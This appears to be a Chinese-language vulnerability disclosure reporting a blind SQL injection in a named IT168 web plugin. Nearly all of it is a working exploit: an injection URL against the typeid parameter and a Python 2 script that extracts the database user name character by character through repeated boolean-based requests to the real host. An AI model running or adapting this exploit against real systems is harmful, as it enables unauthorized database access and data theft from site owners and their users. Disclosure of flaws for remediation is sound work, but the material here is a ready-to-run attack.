IT168某重要站点存在SQL注入漏洞（附脚本）

http://wp.it168.com/plugin.php?fid=&filter=1&id=waterfall:threads&loads=1&orderby=1&page=&typeid=1) and length(user())=23 and (1=1

#encoding=utf-8
 
 import httplib
 
 import time
 
 import string
 
 import sys
 
 import random
 
 import urllib
 
 
 
 headers = {'Content-Type': 'application/x-www-form-urlencoded'}
 
 
 
 payloads = list(string.ascii_lowercase)
 
 for i in range(0,10):
 
     payloads.append(str(i))
 
 payloads += ['@','_', '.', '-', '//', ' ']
 
 
 print 'Try to retrive user:'
 
 user = ''
 
 for i in range(1,24):
 
     for payload in payloads:
        
             conn = httplib.HTTPConnection('wp.it168.com', timeout=3)
         
             s = "/plugin.php?fid=&filter=1&id=waterfall:threads&loads=1&orderby=1&page=&typeid=1) and ascii(mid(user()from(%s)for(1)))=%s and (1=1" % (i, ord(payload))
 
             s=urllib.quote(s,'?,=,&,/')
 
             conn.request(method='GET', url= s,
 
                          headers = headers)
 
             html_doc = conn.getresponse().read()
 
             conn.close()
 
             print '.',
 
             #print html_doc
 
             if html_doc.find('1127') > 0:  # True
 
                 user += payload
 
                 print '/n[in progress]', user
 
                 break
 
 print '/n[Done] User is:', user